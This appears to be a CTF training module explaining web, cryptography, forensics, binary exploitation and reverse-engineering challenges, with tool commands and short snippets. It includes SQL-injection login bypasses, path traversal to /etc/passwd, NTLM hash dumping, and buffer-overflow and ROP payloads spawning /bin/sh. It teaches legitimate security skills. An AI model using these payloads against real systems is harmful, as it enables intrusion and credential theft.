CTF Skills — Categories, Methodology, and Getting Your First Flag

Capture The Flag competitions are structured security competitions where participants solve isolated security challenges, each containing a hidden string called a flag (typically in the format CTF{something_meaningful}). CTFs are the fastest way to build practical security skills outside of professional engagements — they expose you to every category of vulnerability in a legal, controlled environment with clear objective feedback (either you get the flag or you do not).

The security professionals who are most effective at penetration testing are almost universally CTF players, past or present. The skills transfer directly: the mindset of "how does this system work and how can I make it do something unexpected?" is identical in both contexts. Many professional pentesters first discovered their vocation through CTFs.

CTF Platforms and Competition Types

Two competition formats dominate:

Platforms to start with, in recommended order for beginners:

Category 1 — Web Challenges

Web challenges test exploitation of web vulnerabilities: SQL injection, XSS, SSRF, IDOR, authentication bypass, template injection, and logic flaws. These transfer most directly to professional web application pentesting.

# Essential web CTF tools:

# Burp Suite Community — proxy, repeater, intruder
# (covered in depth in Module 25)

# curl — quick request testing
curl -v http://challenge.ctf.com/flag.php
curl -b "session=admin" http://challenge.ctf.com/admin    # set cookie
curl -H "X-Forwarded-For: 127.0.0.1" http://challenge.ctf.com/  # set header
curl -X POST -d "username=admin'--&password=x" http://challenge.ctf.com/login

# Browser DevTools — essential for JavaScript analysis
# F12 → Sources → search all files for 'flag', 'secret', 'token', 'password'
# F12 → Network → look at XHR requests while using the app
# F12 → Console → test JavaScript expressions, find hidden functions

# Common web CTF patterns:
# 1. Source code comments with hints or flags
#    curl http://challenge.ctf.com/ | grep -i "flag|ctf|<!--"

# 2. robots.txt — always check
#    curl http://challenge.ctf.com/robots.txt

# 3. /backup, /.git, /.env — common misconfiguration challenges
#    curl http://challenge.ctf.com/.git/HEAD   # git repository exposed

# 4. SQL injection — login bypass:
#    username: ' OR 1=1--
#    username: admin'--

# 5. Cookies — decode and modify:
#    base64 decode → JSON, change role or isAdmin field → re-encode → submit

# 6. JWT challenges:
#    jwt.io — decode and inspect header/payload
#    Try alg: none, weak secret brute force with jwt_tool

# 7. PHP type juggling:
#    "0e462097431906509019562988736854" == "0e830400451993494058024219903391"
#    → Both are 0^large_number = 0 in loose comparison
#    strcmp("flag", []) → 0 in PHP (array passed instead of string)

# 8. SSTI detection:
#    Inject {{'{'}}{7*7{'}'}} in every input field
#    If rendered as 49 → template injection

# 9. LFI path traversal:
#    ?file=../../../../etc/passwd
#    ?file=....//....//....//etc/passwd  (filter bypass)

Category 2 — Cryptography Challenges

Crypto challenges range from classical ciphers (Caesar, Vigenère) to modern cryptography (RSA, AES, elliptic curves). They test whether you understand how cryptographic systems work, because breaking them requires exploiting the specific mathematical weakness.

# ━━ CLASSICAL CIPHERS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Caesar cipher — rotate alphabet by N positions
# Brute force all 25 rotations:
python3 -c "
text = 'Khoor Zruog'
for i in range(26):
    print(i, ''.join(chr((ord(c)-65+i)%26+65) if c.isupper() else c for c in text))
"

# Substitution cipher analysis — frequency analysis
# 'E' is most common letter in English (~12.7%), then T, A, O, I, N
# Use quipqiup.com for automated substitution cipher solving

# Vigenère cipher — polyalphabetic substitution with keyword
# Identify: Kasiski test (repeated ciphertext segments → key length)
# Solve: Index of Coincidence, then frequency analysis per offset
# Tools: CyberChef → Vigenère Decode, dcode.fr


# ━━ ENCODING (not encryption) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# These appear constantly — distinguish from real crypto:
import base64, binascii

# Base64
base64.b64decode("Q1RGe2hlbGxvX3dvcmxkfQ==").decode()
# → CTF{hello_world}

# Hex
bytes.fromhex("4354467b68656c6c6f5f776f726c647d").decode()
# → CTF{hello_world}

# Binary
"01000011 01010100 01000110"  # space-separated bytes → ASCII
int("01000011", 2)  # → 67 → chr(67) = 'C'

# ROT13 — Caesar with 26/2 = 13
import codecs
codecs.decode("PGS{uryyb}", 'rot_13')   # → CTF{hello}

# CyberChef — magic function identifies encoding automatically
# gchq.github.io/CyberChef → "Magic" recipe → detects and decodes


# ━━ RSA ATTACKS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# RSA basics: c = m^e mod n, m = c^d mod n
# n = p * q (two large primes)
# Break RSA if: n is small, n is factored (factordb.com), e is very small

# Small e with small message (e=3, m^3 < n → no modular reduction):
import gmpy2
m = gmpy2.iroot(c, 3)[0]   # integer cube root
print(bytes.fromhex(hex(m)[2:]).decode())

# Factor n using factordb.com:
# If p and q are known: d = pow(e, -1, (p-1)*(q-1)); m = pow(c, d, n)

# Common modulus attack (same n, different e):
# m^e1 mod n and m^e2 mod n with gcd(e1, e2) = 1
# → recover m via extended Euclidean algorithm

# Tools:
# RsaCtfTool — automates common RSA attacks
python3 RsaCtfTool.py --publickey public.pem --uncipher cipher.txt

# factordb.com — database of factored numbers


# ━━ HASH CHALLENGES ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# MD5 length extension attack:
# If MAC = MD5(secret || message), compute valid MAC for message + extension
# Tool: hash_extender

# Hash collision (MD5):
# echo -n "d131dd02c5e6eec4..." | xxd -r -p | md5sum  # show known collision pair

# CrackStation.net — online hash lookup for common hashes

Category 3 — Forensics and Steganography

Forensics challenges involve analysing files, network captures, memory dumps, and disk images for hidden data. Steganography challenges hide data inside images, audio, or other media.

# ━━ FILE ANALYSIS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# First steps on any challenge file:
file mystery.bin          # identify file type by magic bytes (not extension)
xxd mystery.bin | head    # hex dump — look at magic bytes manually
strings mystery.bin       # extract printable strings
strings mystery.bin | grep -i "ctf|flag|{'"
binwalk mystery.bin       # find embedded files within a file
binwalk -e mystery.bin    # extract embedded files


# ━━ IMAGE STEGANOGRAPHY ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Metadata analysis:
exiftool image.jpg             # all EXIF metadata (GPS, camera, software)
# Look for: comments, software fields, GPS coordinates

# LSB (Least Significant Bit) steganography — data hidden in pixel values
# Tool: zsteg (PNG, BMP)
zsteg image.png -a            # try all detection methods
zsteg image.png -e "b1,r,lsb,xy"  # specific channel and order

# Tool: steghide (JPEG, BMP)
steghide info image.jpg       # check for embedded data (may ask passphrase)
steghide extract -sf image.jpg -p "password"  # extract with passphrase

# Tool: stegsolve (Java GUI) — view image bit planes, LSB layers

# Pixel differences:
# If challenge says "before" and "after" images:
python3 -c "
from PIL import Image
img1 = Image.open('before.png').convert('RGB')
img2 = Image.open('after.png').convert('RGB')
diff = [(abs(a[0]-b[0]), abs(a[1]-b[1]), abs(a[2]-b[2]))
        for a,b in zip(img1.getdata(), img2.getdata())]
# Find non-zero differences → hidden data
"


# ━━ NETWORK FORENSICS — PCAP ANALYSIS ━━━━━━━━━━━━━━━━━━━━━

# Wireshark — GUI analysis
# Edit → Find Packet: search for "flag" or "CTF"
# Statistics → Protocol Hierarchy: see what protocols are in the capture
# Follow TCP Stream: reconstruct a session

# tshark — command line
tshark -r capture.pcap -T fields -e http.request.uri  # show HTTP URIs
tshark -r capture.pcap -T fields -e data              # show raw TCP data
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

# Export files from pcap:
# Wireshark → File → Export Objects → HTTP (or other protocol)


# ━━ MEMORY FORENSICS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Volatility 3 — memory dump analysis
vol.py -f memory.vmem windows.info         # OS information
vol.py -f memory.vmem windows.pslist       # running processes
vol.py -f memory.vmem windows.cmdline      # command lines (look for suspicious)
vol.py -f memory.vmem windows.dumpfiles --pid 1234  # dump files for a process
vol.py -f memory.vmem windows.hashdump     # extract NTLM hashes
vol.py -f memory.vmem windows.clipboard    # clipboard contents

Category 4 — Binary Exploitation (Pwn)

Binary exploitation challenges provide a compiled binary with a vulnerability — typically a buffer overflow, format string bug, or use-after-free. The goal is to control execution and get a shell or read a flag file. This is the deepest technical category and the focus of the OSCP exam machines.

# ━━ ESSENTIAL TOOLS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# pwntools — Python library for exploit development
from pwn import *

# Connect to local binary or remote service:
p = process('./vulnerable')          # local
p = remote('challenge.ctf.com', 1337)  # remote

p.recvuntil(b"Enter input: ")
p.sendline(b"A" * 100)
print(p.recvall())


# GDB with pwndbg — enhanced debugger for exploit development
gdb ./vulnerable
(gdb) run
(gdb) disassemble main             # disassemble function
(gdb) info functions               # list all functions
(gdb) break *0x401234              # breakpoint at address
(gdb) x/20x $rsp                   # examine stack (20 hex words)


# checksec — see binary protections
checksec vulnerable
# Outputs:
# RELRO:    Partial RELRO
# Stack:    No canary found        ← buffer overflow likely possible
# NX:       NX enabled             ← can't execute shellcode on stack
# PIE:      No PIE                 ← code at fixed addresses (easier ROP)
# ASLR:     Enabled                ← stack/heap randomised


# ━━ BUFFER OVERFLOW (no protections) ━━━━━━━━━━━━━━━━━━━━━━━

# Step 1: Find offset to EIP/RIP
# Cyclic pattern:
from pwn import *
pattern = cyclic(200)               # generate unique pattern
# Run in GDB, crash → read value at EIP/RIP
# cyclic_find(0x61616167) → offset = 6 bytes (example)

# Step 2: Find ret2win function address
p.elf = ELF('./vulnerable')
win_addr = p.elf.symbols['flag']    # find 'flag' function address

# Step 3: Construct payload
offset = 40                          # bytes to reach saved RIP
payload = b'A' * offset + p64(win_addr)  # p64 = 64-bit little-endian pack
p.sendline(payload)
p.interactive()


# ━━ ROP CHAINS (NX enabled) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# ROPgadget — find useful instruction sequences
ROPgadget --binary vulnerable --rop     # list gadgets
ROPgadget --binary vulnerable --string "/bin/sh"  # find /bin/sh string

# ropper — alternative gadget finder
ropper -f vulnerable --chain execve    # auto-generate execve chain

# pwntools ROP:
from pwn import *
elf = ELF('./vulnerable')
rop = ROP(elf)
rop.call(elf.symbols['system'], [next(elf.search(b'/bin/sh'))])
payload = b'A' * 40 + rop.chain()


# ━━ FORMAT STRING ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Vulnerable code: printf(user_input)   ← no format string!
# Exploit: send "%p.%p.%p" to leak stack values
# Or: "%7$s" to print a specific stack slot as a string
# Write: "%n" writes the number of bytes printed to a pointer on stack

# pwntools fmtstr_payload:
from pwn import *
payload = fmtstr_payload(offset=6, writes={target_addr: value_to_write})

Category 5 — Reverse Engineering

Reverse engineering challenges provide a binary and ask you to understand what it does without source code. The goal is usually to find what input produces the flag output, understand a serial/keygen scheme, or unpack obfuscated code.

# ━━ STATIC ANALYSIS TOOLS ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Ghidra — free, NSA-developed disassembler and decompiler
# File → New Project → Import binary
# Double-click function → Decompiler shows pseudo-C code
# Best for: understanding what a function does without running it

# IDA Free — industry standard (limited functionality in free version)

# strings — find hardcoded strings
strings binary | grep -i "flag|ctf|correct|wrong|password"

# ltrace / strace — dynamic analysis (system/library call tracing)
ltrace ./crackme          # show library calls (strcmp("flag", input)!)
strace ./crackme          # show system calls (open, read, write)

# objdump — disassemble sections
objdump -d ./crackme | grep -A 20 "main>"


# ━━ COMMON RE CHALLENGE PATTERNS ━━━━━━━━━━━━━━━━━━━━━━━━━━

# 1. strcmp-based keygen:
# ltrace shows: strcmp("CTF{real_flag}", "your_input")
# → flag is the first argument

# 2. XOR encoding:
# Encoded bytes XORed with a key byte-by-byte
# If key is known: bytes([c ^ key for c in encoded])
# If key unknown: try all 256 possibilities

# 3. Custom hash check:
# Program hashes your input and compares to hardcoded hash
# Reverse the hash algorithm or find collision

# 4. Packed/obfuscated binary:
# UPX packer → check magic bytes: UPX!
upx -d packed_binary     # decompress UPX-packed binary
# Then analyze the unpacked version normally

# 5. Anti-debugging checks:
# ptrace() == -1 means debugger attached → returns wrong answer
# Patch the je/jne instruction: binary patch or NOP the check in GDB


# ━━ Python / JavaScript RE ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

# Compiled Python (.pyc) → decompile with uncompyle6 or decompile3
uncompyle6 challenge.pyc

# Obfuscated JS → beautify then analyze
# js-beautify challenge.js
# Then trace execution logic manually or in browser debugger

The "Stuck" Protocol — What to Do When Nothing Works

Every CTF player gets stuck. The difference between those who improve and those who quit is having a systematic protocol for when the obvious approaches fail.

When you are completely stuck — run through this checklist:

1. ENUMERATE MORE AGGRESSIVELY
   □ Have you checked every input parameter? Hidden fields, HTTP headers, cookies?
   □ Did you run directory brute force? Tried backup extensions (.bak, .old, ~)?
   □ Have you checked JavaScript source files for hidden endpoints or logic?
   □ Did you view page source directly (not rendered DOM)?
   □ robots.txt? sitemap.xml? /.well-known/?

2. CHECK YOUR ASSUMPTIONS
   □ Are you certain the input you're modifying reaches the vulnerable function?
   □ Did you verify the vulnerability class? (Maybe it's SSTI not SQLi)
   □ Are there multiple parameters? Have you tested ALL of them?
   □ Is there a filter? Have you tried encoding/obfuscation bypasses?

3. TRY THE UNEXPECTED
   □ Change HTTP method (GET → POST, POST → PUT)
   □ Change Content-Type header
   □ Try null bytes, newlines, unicode variants
   □ What happens with very long input? Zero-length input? Non-ASCII?

4. RESEARCH
   □ What exact software version is this? Google: "software version CTF" or "version exploit"
   □ Search CTFtime.org write-ups for similar challenge names
   □ Check the hint (if available) — often contains the category of vulnerability

5. TAKE A BREAK
   □ Seriously. Walk away for 30 minutes.
   □ The insight almost always comes when you stop forcing it.
   □ Write down your current understanding before you leave — it helps on return.

6. READ WRITE-UPS (not a failure — it's research)
   □ CTFtime.org write-ups for the specific competition
   □ GitHub: "CTF challenge name writeup"
   □ Read just enough to get unstuck, then solve it yourself
   □ After solving, read the full write-up to see better approaches

Building Your CTF Toolkit

Professional CTF players maintain a curated toolkit. Building yours incrementally — adding tools as you encounter the problems they solve — is better than installing everything at once.

Kali Linux and Parrot OS come with most of these tools pre-installed. Running them in a VM prevents any accidental system damage and keeps your toolkit consistent. For CTF work specifically, a dedicated Kali VM or a cloud instance is the standard setup.

Interview Questions — CTF Skills

Common Mistakes — CTF Challenges